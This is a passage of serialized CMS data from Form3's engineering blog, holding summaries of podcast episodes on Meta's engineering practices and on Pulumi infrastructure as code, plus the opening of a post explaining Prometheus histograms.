in existing solutions, we wrote our own open source load testing tool, F1, at Form3 to test our asynchronous system. This blogpost gives you an introduction to performance testing, a comparison of common testing tools and a short introduction of how to usef1to write your own testing scenarions in Go.",{"id":14977,"uid":14978,"url":14979,"type":406,"href":14980,"tags":14981,"first_publication_date":14023,"last_publication_date":14982,"slugs":14983,"linked_documents":14985,"lang":386,"alternate_languages":14986,"data":14987},"alz1MREAACoAUWhY","delivering-at-scale-for-meta","\u002Fresources\u002Fengineering-blog\u002Fdelivering-at-scale-for-meta","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1MREAACoAUWhY%22%29+%5D%5D",[],"2026-08-27T02:06:52+0000",[14984],"ep-28-.tech---delivering-at-scale-for-meta",[],[],{"title":14988,"excerpt":14989,"card_image":14990,"published_date":14995,"reading_time":1411,"tag":427,"dek":14996,"featured_image":14997,"about_form3":14998,"client_about_heading":13,"client_about_body":14999,"author_name":1277,"author_title":1278,"author_photo":15000,"author_bio":15003,"author_linkedin":15006,"slices":15008,"meta_title":15143,"meta_description":14989},".tech Podcast - Delivering at scale for Meta","Tugberk Ugurlu from Meta gives us a sneak peek into life as a software engineer at one of the biggest software companies in the world. He tells us about engineering culture, writing software at scale, the development ecosystem, programming languages and even... the hiring process!",{"dimensions":14991,"alt":14988,"copyright":13,"url":14992,"id":14993,"edit":14994},{"width":420,"height":420},"\u002F_prismic-media\u002F883a96159a601b1d-MSNezPYNrKEpVBQQ_delivering-at-scale-for-meta.pn","MSNezPYNrKEpVBQQ",{"x":17,"y":17,"zoom":18,"background":19},"2022-03-28","Tugberk Ugurlu from Meta gives us a sneak peek into life as a software engineer at one of the biggest software companies in the world. He tells us about engineering culture, writing software at scale, the development ecosystem, programming languages and even... the hiring process!\n\nTugberk joined Meta in April 2021. He joined the London office, but is working from home, as many of us nowadays. He is a part of the Catalog Platform group, which is responsible for business product catalogs on Instagram and Facebook. Their team takes care of data flow, storage and scalability of this important feature.",{},[],[],{"dimensions":15001,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":15002},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[15004],{"type":396,"text":1287,"spans":15005},[],{"link_type":453,"key":15007,"url":1291,"target":456},"5fb44dfe-4eab-447f-b43d-a70e94d5bb9b",[15009,15029,15058,15075,15101,15126],{"variation":459,"version":481,"items":15010,"primary":15011,"id":15028,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15012,"body":15016,"cta_label":1304,"cta_link":15019,"aside_type":13,"aside_image":15022,"aside_video":15023,"aside_video_poster":15024,"aside_video_reduced_motion":15025,"aside_video_url":13,"aside_embed":15026,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15027,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[15013],{"type":465,"text":15014,"spans":15015},"Ep 28 .tech - Delivering at scale for Meta",[],[15017],{"type":396,"text":1302,"spans":15018},[],{"link_type":453,"key":15020,"url":15021},"9270cf0a-2e94-4e7c-b919-8b2d228a4121","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-28-tech-delivering-at-scale-for-meta-mPGLHDnG",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$574ad216-7a24-43e4-8c58-bc0caa8dcf48",{"variation":459,"version":460,"items":15030,"primary":15031,"id":15057,"slice_type":479,"slice_label":13},[],{"body":15032},[15033,15036,15042,15045,15048,15051],{"type":465,"text":15034,"spans":15035},"Engineering culture",[],{"type":396,"text":15037,"spans":15038},"Meta has a \"bottom up\" culture: engineers have a lot of input into the planning process and they are trusted to make their own decisions.",[15039],{"start":1998,"end":555,"type":744,"data":15040},{"link_type":453,"url":15041,"target":456},"https:\u002F\u002Fwww.metacareers.com\u002Flife\u002Fleading-a-team\u002F",{"type":396,"text":15043,"spans":15044},"All of the products engineers develop work for incredible scale, so the tooling that Meta engineers have available to them has been designed with this in mind. This supports Meta engineers to focus on the problems they are trying to solve, rather than getting generic solutions in place. Great tooling reduces lead time and keeps engineers happy as well.",[],{"type":396,"text":15046,"spans":15047},"Organisationally, teams decide for themselves how to structure and support their work to best serve their work and goals. Tugberk's team works on two-week sprints and work is based on goals that the team has defined already. There is also a company wide \"better engineering\" initiative which allows engineers to spend 20% of their time to improve existing services. This allows teams to schedule in maintenance and tech debt work.",[],{"type":396,"text":15049,"spans":15050},"Recognition is a key part of engineering culture as well. Tooling is set up for engineering recognition as well, allowing teams to give props and thanks to each other publicly, in a company wide forum or feed. \"Better engineering\" champions are team members that have been working hard on their team's service maintenance.",[],{"type":396,"text":15052,"spans":15053},"Internally, Meta uses Workplace, which is a modified version of Facebook for all their communication and collaboration. There are like\u002Freaction buttons on everything, including pull requests, allowing teams to send each other Gifs and other fun messages.",[15054],{"start":579,"end":2585,"type":744,"data":15055},{"link_type":453,"url":15056,"target":456},"https:\u002F\u002Fabout.facebook.com\u002Ftechnologies\u002Fworkplace\u002F","rich_text$96ac787b-a5b2-4160-b444-721a37322885",{"variation":459,"version":460,"items":15059,"primary":15060,"id":15074,"slice_type":479,"slice_label":13},[],{"body":15061},[15062,15065,15068,15071],{"type":465,"text":15063,"spans":15064},"Writing software for scale",[],{"type":396,"text":15066,"spans":15067},"In terms of volume, most of the traffic Meta works at is in the billions. This is where the great tooling really makes a difference. All of the services, databases and pipelines are built for the scale first.",[],{"type":396,"text":15069,"spans":15070},"Teams have some building blocks that are already designed to be scalable, which they can leverage in their work. Scale, replication, sharding and logging are things that teams don't have to think about, as they are already in place. It may seem daunting at first to deal with such a large scale system, but on the other hand really efficient tools are provided to help solve these problems.",[],{"type":396,"text":15072,"spans":15073},"On the code level, even small performance improvements have the potential to save the company millions of dollars. Thinking about the data patterns is key to pipelines at Meta. Optimising reads and writes, choosing tradeoffs in consistency and throttling are all things engineers will need to consider during their work.",[],"rich_text$bf9908c1-e355-432e-b976-b8c4355163f0",{"variation":459,"version":460,"items":15076,"primary":15077,"id":15100,"slice_type":479,"slice_label":13},[],{"body":15078},[15079,15082,15088,15091,15094,15097],{"type":465,"text":15080,"spans":15081},"Development ecosystem",[],{"type":396,"text":15083,"spans":15084},"Source control for repositories is a purpose built Mercurial version. Code is organised into 4 or 5 monorepos that are used across the teams. Thousands of commits go into these repos every hour from around the globe. The swap from Git to Mercurial took a little while for Tugberk, but he's used to it now.",[15085],{"start":475,"end":518,"type":744,"data":15086},{"link_type":453,"url":15087,"target":456},"https:\u002F\u002Fengineering.fb.com\u002F2014\u002F01\u002F07\u002Fcore-data\u002Fscaling-mercurial-at-facebook\u002F",{"type":396,"text":15089,"spans":15090},"Engineers use a purpose built version of VSCode. From there, they can connect to a remote, on demand, dedicated server. The monorepo code will be on the server once it is ready, allowing engineers to search through the code.",[],{"type":396,"text":15092,"spans":15093},"Builds are also optimised to only rebuild the parts that have been modified, instead of rebuilding an entire system, which would be time consuming and expensive.",[],{"type":396,"text":15095,"spans":15096},"Releases propagate through the system in around 5 to 6 hours, using canary releases and rollbacks in case of issues. They make use of feature flags to release new features to employees first, to test out and get feedback on.",[],{"type":396,"text":15098,"spans":15099},"All of the internal tooling is purpose built for the incredible scale that Meta work at.",[],"rich_text$fc1fc5d4-f651-42f1-b708-bb46b00cf741",{"variation":459,"version":460,"items":15102,"primary":15103,"id":15125,"slice_type":479,"slice_label":13},[],{"body":15104},[15105,15107,15113,15116,15122],{"type":465,"text":4452,"spans":15106},[],{"type":396,"text":15108,"spans":15109},"All backend systems are written in the Hack programming language, which is a PHP based language developed by Meta. There is also some C++ and Python, as well as Rust and Go for some smaller projects.",[15110],{"start":587,"end":5013,"type":744,"data":15111},{"link_type":453,"url":15112,"target":456},"https:\u002F\u002Fhacklang.org\u002F",{"type":396,"text":15114,"spans":15115},"Hack has similar concepts to C#, like static typing and async\u002Fawait. It was developed by teams at Facebook to address some of the scalability issues of the original\u002Flegacy PHP code.",[],{"type":396,"text":15117,"spans":15118},"Instead of rewriting the whole codebase into something faster like C++, they opted to replace the underlying PHP virtual machine (VM) with a faster, custom written VM in C++, called HHVM.",[15119],{"start":1420,"end":13926,"type":744,"data":15120},{"link_type":453,"url":15121,"target":456},"https:\u002F\u002Fhhvm.com\u002F",{"type":396,"text":15123,"spans":15124},"After understanding the key concepts, Tugberk now finds it easy and natural to write code in Hack.",[],"rich_text$362ce1b0-40b8-4abf-b75d-ff8e4fa95df4",{"variation":459,"version":460,"items":15127,"primary":15128,"id":15142,"slice_type":479,"slice_label":13},[],{"body":15129},[15130,15133,15136,15139],{"type":465,"text":15131,"spans":15132},"Hiring process",[],{"type":396,"text":15134,"spans":15135},"Depending on the level of the role, there will be a few live coding interviews to test coding and problem solving skills. The coding environment doesn't auto-complete or compile the code during the interview. The candidate can use any language they want. The interviewer doesn't actually care if the solution will compile, they are only interested in problem breakdown, general approach and ability to learn.",[],{"type":396,"text":15137,"spans":15138},"The coding interviews are followed up by one or more system design interviews, as well as a behavioural interview. The behavioural interview assesses communication skills and growth mindset.",[],{"type":396,"text":15140,"spans":15141},"Meta values core skills and ability to learn, not previous experience with particular technologies. This way of interviewing line up with our values at Form3 as well.",[],"rich_text$d441fa85-bc8b-4194-8fcd-61669ac1cbd2","Delivering at scale for Meta",{"id":15145,"uid":15146,"url":15147,"type":406,"href":15148,"tags":15149,"first_publication_date":15150,"last_publication_date":14982,"slugs":15151,"linked_documents":15153,"lang":386,"alternate_languages":15154,"data":15155},"alz1NBEAACgAUWhp","ep27-podcast","\u002Fresources\u002Fengineering-blog\u002Fep27-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1NBEAACgAUWhp%22%29+%5D%5D",[],"2026-07-19T16:21:51+0000",[15152],"ep-27-.tech---pulumi",[],[],{"title":15156,"excerpt":15157,"card_image":15158,"published_date":15163,"reading_time":672,"tag":427,"dek":13,"featured_image":15164,"about_form3":15165,"client_about_heading":13,"client_about_body":15166,"author_name":1277,"author_title":1278,"author_photo":15167,"author_bio":15170,"author_linkedin":15173,"slices":15175,"meta_title":15156,"meta_description":15157},".tech Podcast - Pulumi","Pulumi is an Infrastructure as Code (IaC) tool that allows you to write programs in your programming language of choice (Go, .Net, Typescript, Javascript, Python) and apply that program to your infrastructure. Internally it builds a declarative view of the world, so it can track changes between runs. David Flanagan, Staff Developer Advocate, talks us through how Pulumi works, how you can structure deployment pipelines and answers that question that we're sure is on everyone's lips - \"How is it different from Terraform?\".",{"dimensions":15159,"alt":15156,"copyright":13,"url":15160,"id":15161,"edit":15162},{"width":420,"height":420},"\u002F_prismic-media\u002Fec099d0b4fc42270-ycA9HGMI5FScshd6_ep27-podcast.png","ycA9HGMI5FScshd6",{"x":17,"y":17,"zoom":18,"background":19},"2022-03-14",{},[],[],{"dimensions":15168,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":15169},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[15171],{"type":396,"text":1287,"spans":15172},[],{"link_type":453,"key":15174,"url":1291,"target":456},"c91753a8-2719-48b6-95d8-a02610f4794e",[15176,15197,15217,15245,15270,15290,15310,15345,15388],{"variation":459,"version":460,"items":15177,"primary":15178,"id":15196,"slice_type":479,"slice_label":13},[],{"body":15179},[15180,15189],{"type":396,"text":15181,"spans":15182},"David Flanagan from Pulumi gives us an introduction to Infrastructure as Code (IaC) and Pulumi. Then, he explains how Pulumi executes plans, model dependencies and orchestrates systems. Finally, he discusses the differences between Pulumi and Terraform.",[15183,15186],{"start":17,"end":1342,"type":744,"data":15184},{"link_type":453,"url":15185},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Frawkode\u002F",{"start":3298,"end":596,"type":744,"data":15187},{"link_type":453,"url":15188},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fpulumi\u002F",{"type":396,"text":15190,"spans":15191},"David is a Staff Developer Advocate at Pulumi. He spends a lot of time creating developer content such as codified examples, tutorials and conference talks to help technology users. He also produces a lot of cloud native educational resources on his excellent YouTube channel - Rawkode Academy.",[15192],{"start":11667,"end":15193,"type":744,"data":15194},293,{"link_type":453,"url":15195},"https:\u002F\u002Fwww.youtube.com\u002Frawkode","rich_text$067d6023-2a35-4b8b-b9cd-af3951db98e2",{"variation":459,"version":481,"items":15198,"primary":15199,"id":15216,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15200,"body":15204,"cta_label":1304,"cta_link":15207,"aside_type":13,"aside_image":15210,"aside_video":15211,"aside_video_poster":15212,"aside_video_reduced_motion":15213,"aside_video_url":13,"aside_embed":15214,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15215,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[15201],{"type":465,"text":15202,"spans":15203},"Ep 27 .tech - Pulumi",[],[15205],{"type":396,"text":1302,"spans":15206},[],{"link_type":453,"key":15208,"url":15209},"60071750-9ce1-495e-9e5e-3b7ea8924514","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-27-tech-pulumi-bxtyi0WP",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$790f9360-4407-484a-aefe-0d72ae7136fa",{"variation":459,"version":460,"items":15218,"primary":15219,"id":15244,"slice_type":479,"slice_label":13},[],{"body":15220},[15221,15223,15226,15232,15235,15238,15241],{"type":465,"text":13894,"spans":15222},[],{"type":396,"text":15224,"spans":15225},"As a cloud customer, you have access to a management interface which allows you to provision VMs, bare metal resources, load balancers etc. This is a non-repeatable, error prone process.",[],{"type":396,"text":15227,"spans":15228},"Infrastructure as code (IaC) is the inverse of that, where we don’t rely on manual configuration in the UI. Instead, IaC allows us to programatically describe and create those resources by communicating with the cloud provider APIs.",[15229],{"start":17,"end":1071,"type":744,"data":15230},{"link_type":453,"url":15231},"https:\u002F\u002Fwww.pulumi.com\u002Fwhat-is\u002Fwhat-is-infrastructure-as-code\u002F",{"type":396,"text":15233,"spans":15234},"This provides us a with:",[],{"type":1101,"text":15236,"spans":15237},"A repeatable process, which lifts the burden of environment configuration from developers and operation teams.",[],{"type":1101,"text":15239,"spans":15240},"A deterministic environment for all use cases, which avoids variance and bugs in environment configurations.",[],{"type":1101,"text":15242,"spans":15243},"The ability to check in infrastructure configuration into source control, making it easy to review and see how it changed.",[],"rich_text$fb9c9297-b1ce-40f5-82fd-d122f5348ffc",{"variation":459,"version":460,"items":15246,"primary":15247,"id":15269,"slice_type":479,"slice_label":13},[],{"body":15248},[15249,15252,15258,15265],{"type":465,"text":15250,"spans":15251},"What is Pulumi?",[],{"type":396,"text":15253,"spans":15254},"Pulumi is a command-line application that provides software development kits (SDKs) for cloud providers and more. It gives you a data structure model that you can use to describe resources.",[15255],{"start":7071,"end":8100,"type":744,"data":15256},{"link_type":453,"url":15257},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fintro\u002Fconcepts\u002F",{"type":396,"text":15259,"spans":15260},"It allows you to write code and create classes in a variety of languages - Go, .Net, Typescript, Javascript, Python. When running, Pulumi will create a directed acyclic graph (DAG), which will work out dependencies and create the resources in the correct order. Furthermore, Pulumi runs are idempotent and reconcile drift (undeclared changes which).",[15261,15262],{"start":2752,"end":432,"type":780},{"start":15263,"end":15264,"type":780},316,321,{"type":396,"text":15266,"spans":15267},"Pulumi is different in that it allows you to use the programming languages you are already comfortable with rather than a domain specific language(DSL).",[15268],{"start":7826,"end":8096,"type":780},"rich_text$51951191-e216-4506-8a54-b2c4bc2c8776",{"variation":459,"version":460,"items":15271,"primary":15272,"id":15289,"slice_type":479,"slice_label":13},[],{"body":15273},[15274,15277,15280,15283,15286],{"type":465,"text":15275,"spans":15276},"Executing Pulumi plans",[],{"type":396,"text":15278,"spans":15279},"The imperatively declared Pulumi plans output declarative resources, which is something that be hard to get your head around. You can write declarative code using imperative code, which is what functional programmers do.",[],{"type":396,"text":15281,"spans":15282},"Under the hood, Pulumi executes the code, monitors the resources that have been created, stores them and reconcile what it needs to do afterwards with the cloud provider APIs.",[],{"type":396,"text":15284,"spans":15285},"Every resource created by Pulumi gets a unique identifier. It breaks everything down to CRUD operations, using the read operation to detect if any updates need to be made. For example, if you were to change your resource count from 2 to 5, the Pulumi would detect that change and spin up 3 new instances to bring the total count to 5. Pulumi is also able to detect which updates can be made in place and which updates require a replace.",[],{"type":396,"text":15287,"spans":15288},"Managing resource changes is a complex process, so using and IaC tool will help your developer teams handle this.",[],"rich_text$cb42dc68-4d51-4c7b-aeea-45f141b94342",{"variation":459,"version":460,"items":15291,"primary":15292,"id":15309,"slice_type":479,"slice_label":13},[],{"body":15293},[15294,15297,15300,15303,15306],{"type":465,"text":15295,"spans":15296},"Modelling dependencies in Pulumi",[],{"type":396,"text":15298,"spans":15299},"Dependencies inform the order of creation and destruction of resources.",[],{"type":396,"text":15301,"spans":15302},"Resources will be created from top to bottom in the code that you have written, unless dependencies are manually declared. This will allow you to control the creation and destruction of your resources.",[],{"type":396,"text":15304,"spans":15305},"Pulumi has an input-output type system. It will determine dependencies based on this type system, but you can also manually change it. For example, you want to create a load balancer, but will need to pass it an IP address from a VM or similar. Pulumi will know to spin up the VM first, then pass that IP address to the load balancer when it is ready.",[],{"type":396,"text":15307,"spans":15308},"A common pitfall is to hardcode resource values, even though you might be able to work it out. The IaC tool will not know there is a dependency between those resources if you use hardcoded strings. The type systems in the Pulumi supported languages help enforce that as well.",[],"rich_text$6f6aa523-7195-4b16-9edd-b2b122dd0e09",{"variation":459,"version":460,"items":15311,"primary":15312,"id":15344,"slice_type":479,"slice_label":13},[],{"body":15313},[15314,15317,15320,15323,15326,15329,15332,15338],{"type":465,"text":15315,"spans":15316},"Orchestrating projects with Pulumi",[],{"type":396,"text":15318,"spans":15319},"Most organisations now have a platform engineering team that are in charge of managing the increasingly complex infrastructures that we run.",[],{"type":396,"text":15321,"spans":15322},"The typical setup in Pulumi is:",[],{"type":1101,"text":15324,"spans":15325},"a Git repository that defines your core infrastructure, typically a managed Kubernetes service",[],{"type":1101,"text":15327,"spans":15328},"CI\u002FCD integration for most popular technologies, which creates base resources and provides feedback",[],{"type":1101,"text":15330,"spans":15331},"a stack reference which allows your application teams to subscribe to your stack",[],{"type":396,"text":15333,"spans":15334},"Pulumi also supports GitOps, which is the practice of platform engineering teams installing Kubernetes operators in the cluster and pulling in the correct repositories. This is a good developer experience, as they don’t have to worry about stack references. They just push their code to their repositories and the operator makes it happen for them.",[15335],{"start":1333,"end":2744,"type":744,"data":15336},{"link_type":453,"url":15337},"https:\u002F\u002Fwww.pulumi.com\u002Fblog\u002Fimproving-gitops-with-pulumi-operator\u002F",{"type":396,"text":15339,"spans":15340},"Pulumi provides their own Kubernetes operator, which is a great starting point when setting up new infrastructures. From there, the deployment pipeline is controlled via Git.",[15341],{"start":595,"end":1346,"type":744,"data":15342},{"link_type":453,"url":15343},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fguides\u002Fcontinuous-delivery\u002Fpulumi-kubernetes-operator\u002F","rich_text$90a350b2-1e83-4efb-913f-357ffb8d2e71",{"variation":459,"version":460,"items":15346,"primary":15347,"id":15387,"slice_type":479,"slice_label":13},[],{"body":15348},[15349,15352,15360,15363,15366,15375,15378,15384],{"type":465,"text":15350,"spans":15351},"Differences from Terraform",[],{"type":396,"text":15353,"spans":15354},"People often think of Terraform as synonymous with IaC. Terraform has a DSL called Hashicorp configuration language (HCL). It is used to describe all Terraform programs and it does have some constraints, even though it has been adding new features lately.",[15355,15357],{"start":579,"end":2585,"type":744,"data":15356},{"link_type":453,"url":14546},{"start":549,"end":2069,"type":744,"data":15358},{"link_type":453,"url":15359},"https:\u002F\u002Fwww.terraform.io\u002Flanguage\u002Fsyntax\u002Fconfiguration",{"type":396,"text":15361,"spans":15362},"One of the main differentiators of Pulumi was its choice to not use a DSL at all, but to use the imperative languages that developers are already used to, with a wide array of supported SDKs.",[],{"type":396,"text":15364,"spans":15365},"These programming languages come with a host of benefits:",[],{"type":1101,"text":15367,"spans":15368},"Solved distribution such as npm, PyPy etc.",[15369,15372],{"start":1071,"end":2585,"type":744,"data":15370},{"link_type":453,"url":15371},"https:\u002F\u002Fwww.npmjs.com\u002F",{"start":685,"end":475,"type":744,"data":15373},{"link_type":453,"url":15374},"https:\u002F\u002Fwww.pypy.org\u002F",{"type":1101,"text":15376,"spans":15377},"Support developer favourite tooling",[],{"type":1101,"text":15379,"spans":15380},"Support testing your code. Pulumi provides mocking and assertion frameworks to enable you to unit test your code.",[15381],{"start":6708,"end":5023,"type":744,"data":15382},{"link_type":453,"url":15383},"https:\u002F\u002Fwww.pulumi.com\u002Fdocs\u002Fguides\u002Ftesting\u002Funit\u002F",{"type":396,"text":15385,"spans":15386},"Most of all, Pulumi wants to remove the cognitive overload of HCL, making it easier for developers to get involved in infrastructure.",[],"rich_text$e06734cd-0dc1-4a81-8f22-eb91db6b0ad9",{"variation":459,"version":460,"items":15389,"primary":15390,"id":15401,"slice_type":479,"slice_label":13},[],{"body":15391},[15392,15395],{"type":465,"text":15393,"spans":15394},"Interested in being a guest speaker?",[],{"type":396,"text":15396,"spans":15397},"If you enjoyed this episode and would like to be part of the podcast, then please fill in this form and we’ll be in touch. ✍️",[15398],{"start":5023,"end":2542,"type":744,"data":15399},{"link_type":453,"url":15400,"target":456},"https:\u002F\u002Fshare.hsforms.com\u002F1Row5wXcYSkek6ZcbiQKFYg3u1c5","rich_text$0c75a407-d84a-470f-b5be-27e1990e3a56",{"id":15403,"uid":15404,"url":15405,"type":406,"href":15406,"tags":15407,"first_publication_date":15150,"last_publication_date":15408,"slugs":15409,"linked_documents":15411,"lang":386,"alternate_languages":15412,"data":15413},"alz1NhEAACcAUWh0","prometheus-histograms","\u002Fresources\u002Fengineering-blog\u002Fprometheus-histograms","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1NhEAACcAUWh0%22%29+%5D%5D",[],"2026-09-02T19:02:00+0000",[15410],"what-is-a-histogram-anyway",[],[],{"title":15414,"excerpt":15415,"card_image":15416,"published_date":15422,"reading_time":1411,"tag":427,"dek":13,"featured_image":15423,"about_form3":15424,"client_about_heading":13,"client_about_body":15425,"author_name":1594,"author_title":1595,"author_photo":15426,"author_bio":15429,"author_linkedin":15434,"slices":15436,"meta_title":15414,"meta_description":15415},"Prometheus Histograms. Run that past me again?","Having read about the difference between Prometheus histograms and summaries, Andy found himself thinking, \"run that past me again?\". In other words, he still had no idea what the difference was and was very much in the dark when it came to making an enlightened choice about how to instrument applications and start querying the results. This post is a summary (excuse the pun) of what he subsequently learnt about histograms and how they can be used.",{"dimensions":15417,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":15421},{"width":420,"height":420},"Form3","\u002F_prismic-media\u002Ffbc6e7a450cdb0fd-jT5-dxAstKJZQFwI_Form3-Resource.png","jT5-dxAstKJZQFwI",{"x":17,"y":17,"zoom":18,"background":19},"2022-03-08",{},[],[],{"dimensions":15427,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":15428},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[15430],{"type":396,"text":1603,"spans":15431},[15432],{"start":1606,"end":1607,"type":744,"data":15433},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":15435,"url":1612,"target":456},"28739390-c05f-4e0d-bcda-a406dbfe9011",[15437,15465,15479,15503,15511,15534,15561,15590,15611,15619,15627,15635,15643,15651,15666,15680,15704,15743,15764,15772,15781,15810,15837,15864,15894,15902,15919],{"variation":459,"version":460,"items":15438,"primary":15439,"id":15464,"slice_type":479,"slice_label":13},[],{"body":15440},[15441,15447,15456,15461],{"type":396,"text":15442,"spans":15443},"I recently found myself in the position where I needed to do some detailed analysis of how long things were taking in a distributed software system. This is a solved problem from the community’s point of view with tools like Prometheus.",[15444],{"start":2775,"end":2427,"type":744,"data":15445},{"link_type":453,"url":15446},"https:\u002F\u002Fprometheus.io\u002F",{"type":396,"text":15448,"spans":15449},"This blog post assumes you are familiar with the different types of metric Prometheus has to offer and are aware of the fact that real-time, dynamic values can be measured using histograms or summaries.",[15450,15453],{"start":2019,"end":1405,"type":744,"data":15451},{"link_type":453,"url":15452},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fconcepts\u002Fmetric_types\u002F",{"start":607,"end":8375,"type":744,"data":15454},{"link_type":453,"url":15455},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fpractices\u002Fhistograms\u002F",{"type":396,"text":15457,"spans":15458},"Having read about the difference between histograms and summaries, I found myself thinking, “run that past me again?”. In other words, I still had no idea what the difference was and was very much in the dark when it came to making an enlightened choice about how to instrument my application and start querying the results.",[15459],{"start":580,"end":1557,"type":744,"data":15460},{"link_type":453,"url":15455},{"type":396,"text":15462,"spans":15463},"This post is a summary (excuse the pun) of what I subsequently learnt about histograms and how they can be used. If you’re already a Prometheus black-belt, read no further. If you still don’t know what I’m talking about, read on!",[],"rich_text$a83e5921-3ef1-4e40-9abe-4b677fee0d5f",{"variation":459,"version":460,"items":15466,"primary":15467,"id":15478,"slice_type":479,"slice_label":13},[],{"body":15468},[15469,15472],{"type":1097,"text":15470,"spans":15471,"direction":4053},"What is a histogram anyway?",[],{"type":396,"text":15473,"spans":15474,"direction":4053},"Before we talk about histograms in Prometheus, let’s re-cap histograms in general. I think it’s normal at times like this to quote the wikipedia definition, but in this case I’m not sure that’s helpful.",[15475],{"start":2074,"end":2354,"type":744,"data":15476},{"link_type":453,"url":15477,"target":456},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FHistogram","rich_text$d008937b-4275-47c8-ab05-a52a24423f90",{"variation":459,"version":481,"items":15480,"primary":15481,"id":15502,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15482,"body":15483,"cta_label":13,"cta_link":15490,"aside_type":488,"aside_image":15491,"aside_video":15497,"aside_video_poster":15498,"aside_video_reduced_motion":15499,"aside_video_url":13,"aside_embed":15500,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15501,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15484,15487],{"type":396,"text":15485,"spans":15486,"direction":4053},"A histogram is a way of summarising (not in the Prometheus sense!) how some data is distributed - how many of the values were high, how many were low and how many were somewhere in between.",[],{"type":396,"text":15488,"spans":15489,"direction":4053},"Take a look at this histogram:",[],{"link_type":487},{"dimensions":15492,"alt":13,"copyright":13,"url":15494,"id":15495,"edit":15496},{"width":15493,"height":12576},600,"\u002F_prismic-media\u002Fa1be5616b69bd2ea-7ucHYp9pPxTMEcqs_a51bad23-760d-4a47-a7da-2dbe259.png","7ucHYp9pPxTMEcqs",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$fdd1b400-767a-46c2-81a6-0b40e9b805f9",{"variation":459,"version":460,"items":15504,"primary":15505,"id":15510,"slice_type":479,"slice_label":13},[],{"body":15506},[15507],{"type":396,"text":15508,"spans":15509},"It shows the distribution of a dataset. Some values are low (\u003C=10), some are medium (>10 and \u003C=100) and some are high (>100 and \u003C=1000). The histogram groups the data into buckets based on these ranges and counts how many values are in each bucket. This gives us some insight into how the data is distributed across its range of values. When deciding how to draw a histogram, you normally choose bucket ranges that are sensible for the data and meaningful to the analysis.",[],"rich_text$b9883d6c-e12c-46ec-920b-b3395d5c7470",{"variation":459,"version":460,"items":15512,"primary":15513,"id":15533,"slice_type":479,"slice_label":13},[],{"body":15514},[15515,15518,15521,15524,15527,15530],{"type":1097,"text":15516,"spans":15517,"direction":4053},"What about Prometheus histograms?",[],{"type":396,"text":15519,"spans":15520,"direction":4053},"Now that we know what a histogram is, let’s talk about Prometheus histograms. Prometheus histograms are a little different to the above example in three ways:",[],{"type":582,"text":15522,"spans":15523,"direction":4053},"The buckets are cumulative - that is to say that each bucket contains values less than or equal to the bucket’s upper threshold.",[],{"type":582,"text":15525,"spans":15526,"direction":4053},"A Prometheus histogram metric is also a time series - the example we say above can be thought of a simple example of a Prometheus histogram at an instant in time. But, Prometheus records these histograms over time so things are a little more complicated when you start writing queries.",[],{"type":582,"text":15528,"spans":15529,"direction":4053},"The time series itself is cumulative - the buckets in the histogram are always increasing so that the most recent instance of the histogram shows the total values for each of the buckets since the metric was first recorded.",[],{"type":396,"text":15531,"spans":15532,"direction":4053},"Let’s focus on each of these differences in turn.",[],"rich_text$a080d1b2-015a-4a4f-b29f-264034e42bec",{"variation":459,"version":481,"items":15535,"primary":15536,"id":15560,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15537,"body":15538,"cta_label":13,"cta_link":15549,"aside_type":488,"aside_image":15550,"aside_video":15555,"aside_video_poster":15556,"aside_video_reduced_motion":15557,"aside_video_url":13,"aside_embed":15558,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15559,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15539,15543,15546],{"type":396,"text":15540,"spans":15541,"direction":4053},"1. The buckets are cumulative",[15542],{"start":17,"end":586,"type":477},{"type":396,"text":15544,"spans":15545,"direction":4053},"In the above example, each bucket was exclusive of the values on either side. The values that were less than or equal to 10 only appeared in the \u003C=10 bucket and not in any of the 